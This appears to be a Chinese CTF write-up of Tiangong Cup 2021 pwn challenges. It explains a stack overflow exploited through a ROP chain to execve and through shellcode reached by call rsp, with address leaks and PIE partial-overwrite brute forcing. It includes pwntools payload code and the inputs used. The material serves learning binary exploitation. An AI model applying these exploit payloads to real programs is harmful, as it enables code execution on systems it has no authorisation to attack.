美文网首页
天工杯2021 PWN WP

天工杯2021 PWN WP

作者: ywledoc | 来源:发表于2021-08-28 19:47 被阅读0次

    看点:
    1.两个解法(shellcode、ROPchain)
    2.python3.9与pwntools的一个坑。


    程序漏洞情况

    程序溢出点很好找,但是没有提供/bin/shsystem后门函数,考虑ROP(one_gadget或者ROPchain)。

    read函数处栈溢出

    checksec情况

        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX disabled
        PIE:      PIE enabled
        RWX:      Has RWX segments
    
    • 没有Canary,无脑栈溢出;
    • 要用ROP需要leak libc的基地址;
    • 没有开NX,可以通过jmp rsp/call rsp去执行栈上shellcode。但是开了PIE,需要leak程序的基地址。

    ROPchain

    如何让程序多次运行

    一次read/write只能泄露出基址,但后续的ROP构造还要一次read/write操作。方案直接上代码:

    payload = flat([
       'a' * 128,
       p64(0xdeadbeef),
       b'\xc0'
    ])
    

    这里有个python3.9和pwntools的坑,要使用b'\xc0'不能直接'\xc0',使用后者发送的数据会不符合预期,造成攻击不成功

    其中的关键点在于b'\xc0',作用是让vul函数的返回地址从图中红框变为绿框,再从main函数的起始处开始执行,就可以再执行一次。

    leak地址问题

    vul函数的write中,可以写出栈上256个字符,进而泄露出__libc_start_main_retprocess的基地址。

    栈数据

    攻击方式有两种

    (一)构造ROP攻击链(基于libc2.23)

    • 第一种(坑):使用one_gadget,结果:失败。因为满足不了one_gadget的限制条件。
    • 第二种(坑):使用pop rdi,ret,system,结果:失败。system的调用链如下:system-->do_system-->execve,最终在execve中与one_gadget殊途同归。一样的因为参数问题无法正常调用
    • 第三种:构造ROP链,直接调用execve,把execve第二个、第三个参数设置为null。即可正常调用。

    EXP如下:

    flat([
        'a' * 128,
        p64(0xdeadbeef),
        p64(pop_ret),
        p64(binsh_addr),
        p64(prdx_prsi_ret),
        0x0,
        0x0,
        p64(execve_addr)
    
    ])
    

    (二)leak process基地址后,使用call rsp调用shellcode直接攻击

    • 泄露process的代码如下:
    leak_address = ru(cdelim)
    libc_main_ret = u64(leak_address[0xa9:0xb1])
    elf.address = u64(leak_address[0x89:0x91]) - 0x9c0
    
    • payload如下:
    flat([
        'a' * 128,
        p64(0xdeadbeef),
        p64(call_rsp),
        asm(shellcraft.sh())  #这里要注意需要设置context.arch='amd64',否则默认发送i386架构下的shellcode。
    ])
    

    暴力碰撞PIE

    如果程序提供了后门函数,并且开了PIE,可以尝试暴力碰撞返回地址最后2字节(4位16进制)。原理是glibc下的pie,只到内存页级别(大小0x1000),所以程序基址的最后三位必定为0。暴力碰撞使用四字节覆盖,会覆盖倒数第四位,这一位与PIE有关系。通过不断重复调用执行程序,使某一次的PIE地址,正好与我们挑选地址一致,就执行成功。下面用另一道题来解释:

    程序漏洞情况

    • main函数

      main
    • haha函数

      haha
    • 校验使用v5+v4结果,传参使用v5,并且使用v5进行read调用。可以使v4为负数,v5为大正数,就可以造成haha函数中栈溢出。
      代码如下:

    io.sendlineafter("number", str(512))
    io.sendlineafter("number2", str(-511))
    

    暴力碰撞

    • 程序提供了后门函数,但未提供泄露基地址的地方,可以使用多次运行,去碰撞PIE倒数第四位。
    • 先来看几个重要偏移
      1.haha函数的返回偏移:0xB43
      haha返回偏移
      2.后门函数的偏移
      后门函数的偏移
    • 再来看看payload
            backdoor = b'\xe0'
            backdoor += b'\x09' ##把返回地址的最后4位改为0x09e0
            payload = flat([
                'a' * 96,
                p64(0xdeadbeef),
                backdoor
            ])
    
    • 最后看看调试结果
      1.看看程序的基址:0x559063600000
      程序的基址

    2.看看haha函数被覆盖后的返回地址:0x5590636009e0

    图片.png

    3.haha原返回地址应为0x559063600B43,而payload把返回地址修改为0x5590636009e0,就成功执行了后门函数。注意:这里截取的是成功后的图

    • 如果是把返回地址改为0xb9e0,则本次是不成功的,因为基地为0x559063600000,在访问0x55906360b9e0时会失败。但可以通过反复关闭再执行程序,让程序的PIE地址变换,最终变换成类似0x55906360b000,那么就能成功执行了。

    相关文章

      网友评论

          本文标题:天工杯2021 PWN WP

          本文链接:https://www.haomeiwen.com/subject/zbymiltx.html